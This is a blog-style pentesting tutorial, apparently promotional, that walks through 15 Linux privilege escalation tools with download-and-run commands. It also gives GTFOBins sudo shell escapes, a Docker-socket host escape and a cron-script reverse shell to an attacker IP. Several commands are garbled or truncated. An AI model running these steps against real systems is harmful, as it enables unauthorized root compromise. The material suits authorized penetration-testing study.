Ever landed a low-privilege shell on a Linux box and thought, "Now what?" You're not alone β over 70% of real-world Linux pentests stall out at this exact moment. But here's the twist: with the right privilege escalation (PrivEsc) tools, you can turn a dead end into root in under five minutes. Welcome to your hands-on guide to the most powerful, up-to-date Linux PrivEsc tools you need in your arsenal β packed with real commands, stories from the field, and step-by-step cheats.
Why Privilege Escalation Still Reigns in 2024
Linux privilege escalation isn't just some CTF trick. In bug bounties, red teaming, or internal audits, vertical movement is where the real magic happens. Sure, your initial access might come from an exposed service or a juicy exploit β maybe RCE, maybe a misconfigured cron job. But the key to persistence, data access, or full domain compromise? It's almost always PrivEsc.
You might think "sudo -l" and a couple SUID binaries are enough β honestly, that's old school. Attack surfaces keep expanding: containers, automation, kernel modules, and more. Attackers adapt, so defenders must too. Let's get you ahead of the game.
The 15 Modern Linux Privilege Escalation Tools You Need (And How To Actually Use Them)
Here's the real kicker: most "top tool" lists just drop names. We're going deeper. For each tool, you'll get:
- What it does and why it matters
- A real-world pentest example
- Core commands or output to look for
- How to interpret and pivot
Let's dig in.
LinPEAS
The granddaddy of post-exploitation privilege escalation scripts. LinPEAS automates info-gathering, checks hundreds of escalation vectors, and color-codes what's interesting.
Why It's Essential
LinPEAS finds everything from readable /etc/shadow to rogue SUID binaries, sudo rules, weird cron jobs, potential kernel exploits, and even Docker socket exposures.
Example Workflow
- Upload to target (from your attacker machine):
wget http://YOUR-IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.s2. Run it:
./linpeas.sh3. What to look for:
β Green/yellow/red highlights for vulnerabilities
Sudo misconfigurations
SUID/SGID binaries
File permissions
Scheduled jobs
In Practice
I once found an unquoted service path and a writable /etc/passwd in a single LinPEAS scan β root in three minutes flat.
2. pspy
Ever wondered what's running in the background? pspy is a process snooper β no root required. It reveals all scheduled cron jobs, user scripts, and sneaky root activities.
Why It's a Gamechanger
Cron jobs are a PrivEsc goldmine. Many admins run scripts as root, and sometimes they're world-writable or call binaries you can replace.
Usage
- Transfer and run:
wget http://YOUR-IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
./pspy62. Watch for output like:
2024/06/16 12:01:00 CMD: UID=0 PID=1234 | /usr/bin/bash /opt/scripts/backup.sh3. Spotting Weaknesses:
β Script paths that are world-writable
Called binaries in writable directories
Pro Tip
Stick around for a few minutes β cron jobs may run every 5 or 10 minutes. Patience pays.
3. LinEnum
Old school, but still sharp. LinEnum is another bash script that quickly enumerates kernel, sudo, cron, and world-writable files.
Why Use It?
A lot of pentesters trust LinEnum for getting a "10,000 foot view". It's basic but fast, so it's fantastic for noisy, quick recon.
Command
wget http://YOUR-IP:8000/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
./LinEnum.sh -tOutput to Watch
- Sudo privileges
- Interesting SUID binaries
- Weak file permissions
Human Note
I like running LinEnum and LinPEAS back to back. Sometimes, one picks up something the other misses.
4. LES (Linux Exploit Suggester)
Imagine a tool that reads your kernel version and suggests local root exploits. Meet LES.
Why Use It?
Kernel exploits are risky but sometimes necessary. LES tells you what's possible based on your exact environment.
Using LES
wget http://YOUR-IP:8000/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
./les.shOutput
You'll get a list like:
[+] kernel 4.4.0-21-generic might be vulnerable to: dirtycow, overlayfs, etc.The Cool Part?
Just because there's a known exploit doesn't mean it'll work β kernel hardening or missing dependencies can shoot you down. Always check manually before firing off an exploit.
5. sudo-killer
A modern script that hunts for dangerous sudo misconfigurations, wildcard commands, or binary abuses you might miss.
Why You'll Love It
Sudo misconfigs are everywhere. From "sudo vi" to unrestricted wildcards, sudo-killer finds what other scripts sometimes gloss over.
Quick Start
wget http://YOUR-IP:8000/sudo-killer.sh -O /tmp/sudo-killer.sh
chmod +x /tmp/sudo-killer.sh
./sudo-killer.shWhat It Reveals
- NOPASSWD misconfigurations
- Sudo-enabled binaries with easy escapes (like
nano,less,python) - Dangerous wildcards that let you overwrite root files
In The Wild
I once popped root just because an admin allowed sudo tar β and forgot --checkpoint`. Classic.
6. lse (Linux Smart Enumeration)
A lightweight yet smart enumerator, lse gives categorized, color-coded output for obvious and subtle PrivEsc vectors.
Why Pick lse?
It's less noisy than LinPEAS, making it a favorite for quick, targeted checks β especially if you want to impress during an on-site engagement.
How To Use
wget http://YOUR-IP:8000/lse.sh -O /tmp/lse.sh
chmod +x /tmp/lse.sh
./lse.shLook For
- SUDO/SUID vectors
- File capabilities
- Unusual user/group memberships
Human Moment
If you're ever overwhelmed by LinPEAS' output, switch to lse for clarity. It's kind of a sanity-saver.
7. GTFOBins
Not a script, but a living, essential resource. GTFOBins is a curated collection of legitimate binaries (like awk, find, vim) that can be abused to escalate privileges or escape sandboxes.
Why It's Unmissable
When you have sudo access to something odd, like sudo find, you check GTFOBins to see if it's exploitable.
Example
Say you find sudo find with no password needed:
sudo find . -exec /bin/sh \; -quitPro Workflow
- Identify your allowed binaries (with
sudo -l) - Search GTFOBins (https://gtfobins.github.io/) for escalation techniques
- Test in a shell
True Story
I once chained sudo awk (from GTFOBins) into a root shell during a CTF, just because I checked the site.
8. BeRoot
Python-based, multi-vector privilege escalation checker. It analyzes everything from sudo rules to PATH misconfigs and NFS mounts.
Why It's Unique
BeRoot's custom logic often finds edge-case privilege escalation vectors missed by bash scripts.
Running BeRoot
wget http://YOUR-IP:8000/BeRoot.zip -O /tmp/BeRoot.zip
unzip /tmp/BeRoot.zip -d /tmp/BeRoot
cd /tmp/BeRoot/Linux
python beroot.pyOutput
Check for findings like:
- Sudo rules with escape potential
- Misconfigured PATHs in cron jobs
- Exposed file shares
Quick Reflection
I've seen BeRoot flag an odd NFS mount that LinEnum skipped. Worth having in your toolkit.
9. SUID3NUM
Hunting for SUID binaries is essential, but SUID3NUM takes it up a notch. It not only lists SUID/SGID binaries but catalogs lesser-known escalation techniques for each.
Why It Beats `find`
Because it gives context β you'll know which binaries are worth your time.
Usage
wget http://YOUR-IP:8000/suid3num.sh -O /tmp/suid3num.sh
chmod +x /tmp/suid3num.sh
./suid3num.shOutput
- Standard SUID binaries
- Details on unusual or dangerous ones
In Practice
The difference between a wild goose chase and a root shell? Knowing that /usr/bin/unexpected-suid is vulnerable.
10. Linux-Exploit-Suggester-2
An update to the classic, this script pulls newer kernel exploits and cross-references your system.
Why Use LES2?
Exploit databases change β this one has more up-to-date exploit checks, critical for modern systems.
Running LES2
wget http://YOUR-IP:8000/linux-exploit-suggester-2.pl -O /tmp/linux-exploit-suggester-2.pl
chmod +x /tmp/linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.plGotchas
- Always check for required dependencies
- Don't assume success; some exploits need kernel modules or particular configurations
Pro Note
LES2 once pointed me at a kernel exploit that just got published that week. Fresh exploits = fresh roots.
11. Seatbelt (Linux Edition β "Seatbelt-Linux" or similar forks)
Not as famous as the Windows version, but Seatbelt for Linux is gaining traction. It's a Go binary that collects privilege escalation data with context-rich output.
Why Try It?
Especially handy for cloud workloads β finds AWS keys, Docker misconfigs, and exposed environment variables.
Usage
wget http://YOUR-IP:8000/seatbelt-linux -O /tmp/seatbelt-linux
chmod +x /tmp/seatbelt-linux
./seatbelt-linuxOutput Gems
- Leaked cloud API keys
- Docker socket exposures
- Unusual environment secrets
In Action
I found AWS secrets in /proc with Seatbelt that LinPEAS didn't catch. Worth a look when attacking modern infra.
12. find / -perm -4000 -type f 2>/dev/null
Okay, not a "tool" per se, but this command is a must. It lists every SUID binary on the system β sometimes the best discoveries are hiding in plain sight.
Why You Need It
Some custom SUID binaries never show up in scripts or lists. Manual hunting sometimes wins.
Command
find / -perm -4000 -type f 2>/dev/nullWhat to Do
- Check every unknown binary on GTFOBins
- Fuzz with local arguments, see if they break in interesting ways
Field Wisdom
Random SUID binaries are admin mistakes waiting to be exploited. Always, always check.
13. getcap
Capabilities are the next SUID β modern Linux systems use them to grant granular privileges. getcap lists binaries with capabilities set.
Why It Matters
A binary with cap_setuid+ep can sometimes be abused for privilege escalation, especially if it's writable.
Example
getcap -r / 2>/dev/nullOutput Example
/usr/bin/python3.8 = cap_setuid+epHuman Moment
SUID isn't the only way binaries get powerful β capabilities are the stealthy cousin. Don't sleep on them.
14. Docker Breakout Tools
If you find yourself inside a Docker container, tools like docker-breakout or manual methods (like mounting the Docker socket) are essential.
Why It's Crucial
Docker is everywhere. If you find a writable docker.sock, you can escape to host root.
Manual Example
If you have access to the Docker socket:
docker run -v /:/mnt --rm -it alpine chroot /mnt shWhat You Get
- Host filesystem access
- Potential root shell
My Take
Container escapes are the new frontier for PrivEsc. Stay sharp β admins forget to lock down Docker all the time.
15. HackTricks (The Knowledge Base)
While not a script, HackTricks (https://book.hacktricks.xyz/) is a constantly-updated, practical encyclopedia for pentesting, privilege escalation, RCE, SQLi, XSS, and all things bug bounty.
Why Keep It Open?
When you hit a dead end, HackTricks has the "weird stuff" others miss β new SUID tricks, kernel module attacks, PATH hijacking, and so on.
Workflow
- Search for your situation ("SUID bash", "sudo less", "docker escape")
- Try the recommended payloads
- Keep learning
Real Talk
Every advanced pentester I know keeps HackTricks open during live engagements. It's that good.
How To Chain Tools Like A Pro (Practical Step-By-Step)
Let's tie it all together with a scenario β a classic low-privilege shell on a Linux web server.
Quick Enumeration
- Run
LinPEASorLinEnumimmediately - While that's running, check
sudo -lyourself
2. Collect All SUID/SGID Binaries
- Run
find / -perm -4000 -type f 2>/dev/null - Check odd binaries with GTFOBins
3. Scan for Scheduled Tasks
- Fire up
pspy, watch for scripts or binaries run by root
4. Sudo Fuzzing
- Use
sudo-killerand manually test each command at GTFOBins
5. Kernel Exploits
- Run
LESorLES2, but only as last resort (kernel exploits can be unstable)
6. Capabilities & Containers
- Use
getcap for capabilities - If in Docker, investigate
/var/run/docker.sock
7. Pivot and Profit
- Combine what you find: writable scripts called by root, sudo misconfigs, binary exploits
- Always check HackTricks for fresh payloads
Example Attack Chain
Here's where it gets interesting:
pspyspots a root cron calling/opt/backup/cleanup.shLinPEASshows/opt/backup/is world-writable- You edit
cleanup.sh to spawn a shell to your listener:
echo "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" >> /opt/backup/cleanup.sWait for cronβroot shell lands.
Don't overcomplicate. Smart chaining is the secret sauce.
Final Thoughts: Build Your Own PrivEsc Arsenal
Mastering Linux privilege escalation is about knowing what to look for, not just running scripts blindly. The pros use tools β then adapt, improvise, and outthink.
What's wild is, in real-world bug bounty or pentesting, the difference between a stalled shell and a $10,000 find is often a single overlooked cron job or sudo rule. The tools above? They're your map β and sometimes your compass.
Keep your toolkit fresh. Bookmark HackTricks. And next time you're staring at a boring shell, ask yourself: what would I do if I actually wanted root right now?
Because with these 15 modern PrivEsc tools, you're that much closer to owning the box. See you at root.
π Become a VeryLazyTech Member β Get Instant Access
What you get today:
β 70GB Google Drive packed with cybersecurity content
β 3 full courses to level up fast
π Join the Membership β https://shop.verylazytech.com
π Need Specific Resources?
β Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.
π Visit the Shop β https://shop.verylazytech.com
π¬ Stay in the Loop
Want quick tips, free tools, and sneak peeks?
β https://x.com/verylazytech/
| πΎ https://github.com/verylazytech/
| πΊ https://youtube.com/@verylazytech/
| π© https://t.me/+mSGyb008VL40MmVk/
| π΅οΈββοΈ https://www.verylazytech.com/